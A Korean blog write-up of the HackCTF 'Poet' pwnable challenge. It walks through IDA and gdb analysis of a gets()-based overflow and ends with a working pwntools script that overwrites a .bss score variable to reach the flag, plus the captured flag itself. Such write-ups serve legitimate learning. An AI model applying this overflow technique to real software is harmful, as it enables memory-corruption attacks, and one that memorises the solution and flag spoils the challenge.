[문제]


[풀이]

  • 64bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • Enter 이후에 사용자의 입력을 받고, 저자가 누구인지 물어보면서 추가적인 입력을 받고 있음
  • 1,000,000점을 획득하지 않으면 다시 시도하라는 문구와 함께 반복적으로 입력하도록 함

 

IDA 분석 - main 함수

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi@1

  setvbuf(_bss_start, 0LL, 2, 0LL);
  v3 = "\\n"
       "**********************************************************\\n"
			 "*     우리는 2018년의 시인(poet)을 찾고 있습니다.        *\\n"
			 "*  플래그상을 받고 싶다면 지금 한 줄의 시를 쓰세요!      *\\n"
       "**********************************************************\\n";
  puts(
       "\\n"
       "**********************************************************\\n"
			 "*     우리는 2018년의 시인(poet)을 찾고 있습니다.        *\\n"
			 "*  플래그상을 받고 싶다면 지금 한 줄의 시를 쓰세요!      *\\n"
       "**********************************************************\\n");
  puts();
  while ( 1 )
  {
    get_poem(v3, 0LL);
    get_author(v3);
    rate_poem(v3);
    if ( dword_6024E0 == 1000000 )
      break;
    v3 = "\\n"
         "음...이 시로는 충분하지가 않습니다.\\n"
				 "정확히 1,000,000 점을 획득해야만 됩니다.\\n"
				 "다시 시도해주세요!\\n"
         "+---------------------------------------------------------------------------+\\n";
    puts(
		     "\\n"
         "음...이 시로는 충분하지가 않습니다.\\n"
				 "정확히 1,000,000 점을 획득해야만 됩니다.\\n"
				 "다시 시도해주세요!\\n"
         "+---------------------------------------------------------------------------+\\n");
  }
  reward(v3);
}
  • get_poem, get_author, rate_poem 함수를 무한 루프로 호출
  • 점수가 1000000일 경우 루프 탈출과 함께 reward 함수 호출

 

IDA 분석 - reward 함수

void __noreturn reward()
{
  char s; // [rsp+0h] [rbp-90h]@1
  FILE *stream; // [rsp+88h] [rbp-8h]@1

  stream = fopen("./flag.txt", "r");
  fgets(&s, 128, stream);
  printf(
    "\\n"
    "축하합니다!\\n"
    "\\n"
    "시 내용\\n"
    "%.64s\\n"
    "\\n"
    "2018년 시인 상을 받았습니다!!\\n"
    "\\n"
    "보상:\\n"
    "%s\\n"
    "+---------------------------------------------------------------------------+\\n"
    "\\n",
    &unk_6024A0,
    &s);
  exit(0);
}
  • flag 획득 가능

 

IDA 분석 - rate_poem 함수

int rate_poem()
{
  char dest; // [rsp+0h] [rbp-410h]@1
  char *s1; // [rsp+408h] [rbp-8h]@1

  strcpy(&dest, poem);
  for ( s1 = strtok(&dest, " \\n"); s1; s1 = strtok(0LL, " \\n") )
  {
    if ( !strcmp(s1, "ESPR")
      || !strcmp(s1, "eat")
      || !strcmp(s1, "sleep")
      || !strcmp(s1, "pwn")
      || !strcmp(s1, "repeat")
      || !strcmp(s1, "CTF")
      || !strcmp(s1, "capture")
      || !strcmp(s1, "flag") )
    {
      dword_6024E0 += 100;
    }
  }
  return printf(
           "\\n"
           "+---------------------------------------------------------------------------+\\n"
           "시 내용\\n"
           "%.1024s\\n"
           "점수:%d\\n",
           poem,
           (unsigned int)dword_6024E0);
}
  • get_poem에서 입력 받은 값을 dest에 복사하여 s1로 받음
  • 사용자의 입력 값에 ESPR, eat, sleep, pwn, repeat, CTF, capture, flag가 있으면 100점씩 부여

 

IDA 분석 - get_poem 함수

__int64 get_poem()
{
  __int64 result; // rax@1

  printf("Enter :\\n> ");
  result = gets(poem);
  dword_6024E0 = 0;
  return result;
}
  • gets 함수로 사용자의 입력을 받아 poem에 저장 → BOF 발생
    • result로 입력 값을 받아 return

 

IDA 분석 - get_author 함수

__int64 get_author()
{
  printf("이 시의 저자는 누구입니까?\\n> ");
  return gets(&unk_6024A0);
}
  • 저자에 대한 입력을 gets 함수로 받아 return → BOF 발생

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000000000400600  _init
0x0000000000400630  strcpy@plt
0x0000000000400640  puts@plt
0x0000000000400650  printf@plt
0x0000000000400660  __libc_start_main@plt
0x0000000000400670  fgets@plt
0x0000000000400680  strcmp@plt
0x0000000000400690  gets@plt
0x00000000004006a0  setvbuf@plt
0x00000000004006b0  fopen@plt
0x00000000004006c0  strtok@plt
0x00000000004006d0  exit@plt
0x00000000004006e0  __gmon_start__@plt
0x00000000004006f0  _start
0x0000000000400720  deregister_tm_clones
0x0000000000400760  register_tm_clones
0x00000000004007a0  __do_global_dtors_aux
0x00000000004007c0  frame_dummy
0x00000000004007e6  reward
0x0000000000400844  rate_poem
0x0000000000400978  get_poem
0x00000000004009a7  get_author
0x00000000004009cc  main
0x0000000000400a50  __libc_csu_init
0x0000000000400ac0  __libc_csu_fini
0x0000000000400ac4  _fini
  • main: 0x4009cc
  • reward: 0x4007e6
  • rate_poem: 0x400844
  • get_poem: 0x400978
  • get_author: 0x4009a7

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004009cc <+0>:	push   rbp
   0x00000000004009cd <+1>:	mov    rbp,rsp
   0x00000000004009d0 <+4>:	sub    rsp,0x10
   0x00000000004009d4 <+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x00000000004009d7 <+11>:	mov    QWORD PTR [rbp-0x10],rsi
   0x00000000004009db <+15>:	mov    rax,QWORD PTR [rip+0x20169e]        # 0x602080 <stdout@@GLIBC_2.2.5>
   0x00000000004009e2 <+22>:	mov    ecx,0x0
   0x00000000004009e7 <+27>:	mov    edx,0x2
   0x00000000004009ec <+32>:	mov    esi,0x0
   0x00000000004009f1 <+37>:	mov    rdi,rax
   0x00000000004009f4 <+40>:	call   0x4006a0 <setvbuf@plt>
   0x00000000004009f9 <+45>:	mov    edi,0x400c68
   0x00000000004009fe <+50>:	call   0x400640 <puts@plt>
   0x0000000000400a03 <+55>:	mov    eax,0x0
   0x0000000000400a08 <+60>:	call   0x400978 <get_poem>
   0x0000000000400a0d <+65>:	mov    eax,0x0
   0x0000000000400a12 <+70>:	call   0x4009a7 <get_author>
   0x0000000000400a17 <+75>:	mov    eax,0x0
   0x0000000000400a1c <+80>:	call   0x400844 <rate_poem>
   0x0000000000400a21 <+85>:	mov    eax,DWORD PTR [rip+0x201ab9]        # 0x6024e0 <poem+1088>
   0x0000000000400a27 <+91>:	cmp    eax,0xf4240
   0x0000000000400a2c <+96>:	jne    0x400a3a <main+110>
   0x0000000000400a2e <+98>:	mov    eax,0x0
   0x0000000000400a33 <+103>:	call   0x4007e6 <reward>
   0x0000000000400a38 <+108>:	jmp    0x400a03 <main+55>
   0x0000000000400a3a <+110>:	mov    edi,0x400d78
   0x0000000000400a3f <+115>:	call   0x400640 <puts@plt>
   0x0000000000400a44 <+120>:	jmp    0x400a03 <main+55>
End of assembler dump.

gdb 분석 - rate_poem 함수

pwndbg> disass rate_poem
Dump of assembler code for function rate_poem:
   0x0000000000400844 <+0>:	push   rbp
   0x0000000000400845 <+1>:	mov    rbp,rsp
   0x0000000000400848 <+4>:	sub    rsp,0x410
   0x000000000040084f <+11>:	lea    rax,[rbp-0x410]
   0x0000000000400856 <+18>:	mov    esi,0x6020a0
   0x000000000040085b <+23>:	mov    rdi,rax
   0x000000000040085e <+26>:	call   0x400630 <strcpy@plt>
   0x0000000000400863 <+31>:	lea    rax,[rbp-0x410]
   0x000000000040086a <+38>:	mov    esi,0x400b91
   0x000000000040086f <+43>:	mov    rdi,rax
   0x0000000000400872 <+46>:	call   0x4006c0 <strtok@plt>
   0x0000000000400877 <+51>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040087b <+55>:	jmp    0x40094e <rate_poem+266>
   0x0000000000400880 <+60>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400884 <+64>:	mov    esi,0x400b94
   0x0000000000400889 <+69>:	mov    rdi,rax
   0x000000000040088c <+72>:	call   0x400680 <strcmp@plt>
   0x0000000000400891 <+77>:	test   eax,eax
   0x0000000000400893 <+79>:	je     0x40092c <rate_poem+232>
   0x0000000000400899 <+85>:	mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040089d <+89>:	mov    esi,0x400b99
   0x00000000004008a2 <+94>:	mov    rdi,rax
   0x00000000004008a5 <+97>:	call   0x400680 <strcmp@plt>
   0x00000000004008aa <+102>:	test   eax,eax
   0x00000000004008ac <+104>:	je     0x40092c <rate_poem+232>
   0x00000000004008ae <+106>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004008b2 <+110>:	mov    esi,0x400b9d
   0x00000000004008b7 <+115>:	mov    rdi,rax
   0x00000000004008ba <+118>:	call   0x400680 <strcmp@plt>
   0x00000000004008bf <+123>:	test   eax,eax
   0x00000000004008c1 <+125>:	je     0x40092c <rate_poem+232>
   0x00000000004008c3 <+127>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004008c7 <+131>:	mov    esi,0x400ba3
   0x00000000004008cc <+136>:	mov    rdi,rax
   0x00000000004008cf <+139>:	call   0x400680 <strcmp@plt>
   0x00000000004008d4 <+144>:	test   eax,eax
   0x00000000004008d6 <+146>:	je     0x40092c <rate_poem+232>
   0x00000000004008d8 <+148>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004008dc <+152>:	mov    esi,0x400ba7
   0x00000000004008e1 <+157>:	mov    rdi,rax
   0x00000000004008e4 <+160>:	call   0x400680 <strcmp@plt>
   0x00000000004008e9 <+165>:	test   eax,eax
   0x00000000004008eb <+167>:	je     0x40092c <rate_poem+232>
   0x00000000004008ed <+169>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004008f1 <+173>:	mov    esi,0x400bae
   0x00000000004008f6 <+178>:	mov    rdi,rax
   0x00000000004008f9 <+181>:	call   0x400680 <strcmp@plt>
   0x00000000004008fe <+186>:	test   eax,eax
   0x0000000000400900 <+188>:	je     0x40092c <rate_poem+232>
   0x0000000000400902 <+190>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400906 <+194>:	mov    esi,0x400bb2
   0x000000000040090b <+199>:	mov    rdi,rax
   0x000000000040090e <+202>:	call   0x400680 <strcmp@plt>
   0x0000000000400913 <+207>:	test   eax,eax
   0x0000000000400915 <+209>:	je     0x40092c <rate_poem+232>
   0x0000000000400917 <+211>:	mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040091b <+215>:	mov    esi,0x400bba
   0x0000000000400920 <+220>:	mov    rdi,rax
   0x0000000000400923 <+223>:	call   0x400680 <strcmp@plt>
   0x0000000000400928 <+228>:	test   eax,eax
   0x000000000040092a <+230>:	jne    0x40093b <rate_poem+247>
   0x000000000040092c <+232>:	mov    eax,DWORD PTR [rip+0x201bae]        # 0x6024e0 <poem+1088>
   0x0000000000400932 <+238>:	add    eax,0x64
   0x0000000000400935 <+241>:	mov    DWORD PTR [rip+0x201ba5],eax        # 0x6024e0 <poem+1088>
   0x000000000040093b <+247>:	mov    esi,0x400b91
   0x0000000000400940 <+252>:	mov    edi,0x0
   0x0000000000400945 <+257>:	call   0x4006c0 <strtok@plt>
   0x000000000040094a <+262>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040094e <+266>:	cmp    QWORD PTR [rbp-0x8],0x0
   0x0000000000400953 <+271>:	jne    0x400880 <rate_poem+60>
   0x0000000000400959 <+277>:	mov    eax,DWORD PTR [rip+0x201b81]        # 0x6024e0 <poem+1088>
   0x000000000040095f <+283>:	mov    edx,eax
   0x0000000000400961 <+285>:	mov    esi,0x6020a0
   0x0000000000400966 <+290>:	mov    edi,0x400bc0
   0x000000000040096b <+295>:	mov    eax,0x0
   0x0000000000400970 <+300>:	call   0x400650 <printf@plt>
   0x0000000000400975 <+305>:	nop
   0x0000000000400976 <+306>:	leave  
   0x0000000000400977 <+307>:	ret    
End of assembler dump.
  • rate_poem+238에서 eax에 0x64(100)을 더하는 것으로 보아 점수를 측정하는 부분임을 알 수 있음
  • 해당 값은 rate_poem+241을 통해 rip+0x201ba5에 저장됨
  • rate_poem+241에 bp 건 후, 시: flag, 저자: aaaa 입력하여 메모리 확인

  • poem이라는 전역변수로 할당된 bss 영역에 저장됨을 확인
  • 시, 저자 부분도 해당 영역에 저장될 것이라 추측
  • poem 첫 시작 부분 찾아 확인
pwndbg> x/140gx 0x6020a0
0x6020a0 <poem>:	0x0000000067616c66	0x0000000000000000
0x6020b0 <poem+16>:	0x0000000000000000	0x0000000000000000
0x6020c0 <poem+32>:	0x0000000000000000	0x0000000000000000
0x6020d0 <poem+48>:	0x0000000000000000	0x0000000000000000
0x6020e0 <poem+64>:	0x0000000000000000	0x0000000000000000
0x6020f0 <poem+80>:	0x0000000000000000	0x0000000000000000
0x602100 <poem+96>:	0x0000000000000000	0x0000000000000000
0x602110 <poem+112>:	0x0000000000000000	0x0000000000000000
0x602120 <poem+128>:	0x0000000000000000	0x0000000000000000
0x602130 <poem+144>:	0x0000000000000000	0x0000000000000000
0x602140 <poem+160>:	0x0000000000000000	0x0000000000000000
0x602150 <poem+176>:	0x0000000000000000	0x0000000000000000
0x602160 <poem+192>:	0x0000000000000000	0x0000000000000000
0x602170 <poem+208>:	0x0000000000000000	0x0000000000000000
0x602180 <poem+224>:	0x0000000000000000	0x0000000000000000
0x602190 <poem+240>:	0x0000000000000000	0x0000000000000000
0x6021a0 <poem+256>:	0x0000000000000000	0x0000000000000000
0x6021b0 <poem+272>:	0x0000000000000000	0x0000000000000000
0x6021c0 <poem+288>:	0x0000000000000000	0x0000000000000000
0x6021d0 <poem+304>:	0x0000000000000000	0x0000000000000000
0x6021e0 <poem+320>:	0x0000000000000000	0x0000000000000000
0x6021f0 <poem+336>:	0x0000000000000000	0x0000000000000000
0x602200 <poem+352>:	0x0000000000000000	0x0000000000000000
0x602210 <poem+368>:	0x0000000000000000	0x0000000000000000
0x602220 <poem+384>:	0x0000000000000000	0x0000000000000000
0x602230 <poem+400>:	0x0000000000000000	0x0000000000000000
0x602240 <poem+416>:	0x0000000000000000	0x0000000000000000
0x602250 <poem+432>:	0x0000000000000000	0x0000000000000000
0x602260 <poem+448>:	0x0000000000000000	0x0000000000000000
0x602270 <poem+464>:	0x0000000000000000	0x0000000000000000
0x602280 <poem+480>:	0x0000000000000000	0x0000000000000000
0x602290 <poem+496>:	0x0000000000000000	0x0000000000000000
0x6022a0 <poem+512>:	0x0000000000000000	0x0000000000000000
0x6022b0 <poem+528>:	0x0000000000000000	0x0000000000000000
0x6022c0 <poem+544>:	0x0000000000000000	0x0000000000000000
0x6022d0 <poem+560>:	0x0000000000000000	0x0000000000000000
0x6022e0 <poem+576>:	0x0000000000000000	0x0000000000000000
0x6022f0 <poem+592>:	0x0000000000000000	0x0000000000000000
0x602300 <poem+608>:	0x0000000000000000	0x0000000000000000
0x602310 <poem+624>:	0x0000000000000000	0x0000000000000000
0x602320 <poem+640>:	0x0000000000000000	0x0000000000000000
0x602330 <poem+656>:	0x0000000000000000	0x0000000000000000
0x602340 <poem+672>:	0x0000000000000000	0x0000000000000000
0x602350 <poem+688>:	0x0000000000000000	0x0000000000000000
0x602360 <poem+704>:	0x0000000000000000	0x0000000000000000
0x602370 <poem+720>:	0x0000000000000000	0x0000000000000000
0x602380 <poem+736>:	0x0000000000000000	0x0000000000000000
0x602390 <poem+752>:	0x0000000000000000	0x0000000000000000
0x6023a0 <poem+768>:	0x0000000000000000	0x0000000000000000
0x6023b0 <poem+784>:	0x0000000000000000	0x0000000000000000
0x6023c0 <poem+800>:	0x0000000000000000	0x0000000000000000
0x6023d0 <poem+816>:	0x0000000000000000	0x0000000000000000
0x6023e0 <poem+832>:	0x0000000000000000	0x0000000000000000
0x6023f0 <poem+848>:	0x0000000000000000	0x0000000000000000
0x602400 <poem+864>:	0x0000000000000000	0x0000000000000000
0x602410 <poem+880>:	0x0000000000000000	0x0000000000000000
0x602420 <poem+896>:	0x0000000000000000	0x0000000000000000
0x602430 <poem+912>:	0x0000000000000000	0x0000000000000000
0x602440 <poem+928>:	0x0000000000000000	0x0000000000000000
0x602450 <poem+944>:	0x0000000000000000	0x0000000000000000
0x602460 <poem+960>:	0x0000000000000000	0x0000000000000000
0x602470 <poem+976>:	0x0000000000000000	0x0000000000000000
0x602480 <poem+992>:	0x0000000000000000	0x0000000000000000
0x602490 <poem+1008>:	0x0000000000000000	0x0000000000000000
0x6024a0 <poem+1024>:	0x0000000061616161	0x0000000000000000
0x6024b0 <poem+1040>:	0x0000000000000000	0x0000000000000000
0x6024c0 <poem+1056>:	0x0000000000000000	0x0000000000000000
0x6024d0 <poem+1072>:	0x0000000000000000	0x0000000000000000
0x6024e0 <poem+1088>:	0x0000000000000064	0x0000000000000000
0x6024f0:	0x0000000000000000	0x0000000000000000
  • 0x6020a0(poem)에 시 내용 저장
  • 0x6024a0(poem+1024)에 저자 내용 저장
  • 0x6024e0(poem+1088)에 반영된 점수 저장

 

문제 해결

💡 poem_dummy(0~1016)+ author_dummy(64)+1000000
  • 시와 저자를 입력하는 부분은 모두 BOF를 발생시킬 수 있음
  • 시는 아무 값이나 입력하고, 저자를 입력 받는 부분에서 BOF를 발생시켜 점수 값을 1000000으로 조작 시, flag 획득 가능
  • 저자(0x6024a0)~점수(0x6024e0)까지의 offset = 0x40(64)

 

Python2

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3012)
e = ELF("./poet")

payload = "a" *4 //시 내용은 입력하지 않아도 exploit 할 수 있음
p.recvuntil("> ")
p.sendline(payload)

payload1= "b"*64+p64(1000000)
p.recvuntil("> ")
p.sendline(payload1)

p.interactive()


flag

🍒 HackCTF{0neSTEP_jun10rCTF}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] RTL_World  (0) 2022.10.30
[HackCTF] g++ pwn  (0) 2022.10.30
[HackCTF] 1996  (0) 2022.10.30
[HackCTF] Random key  (0) 2022.10.30
[HackCTF] RTL_Core  (0) 2022.10.30

+ Recent posts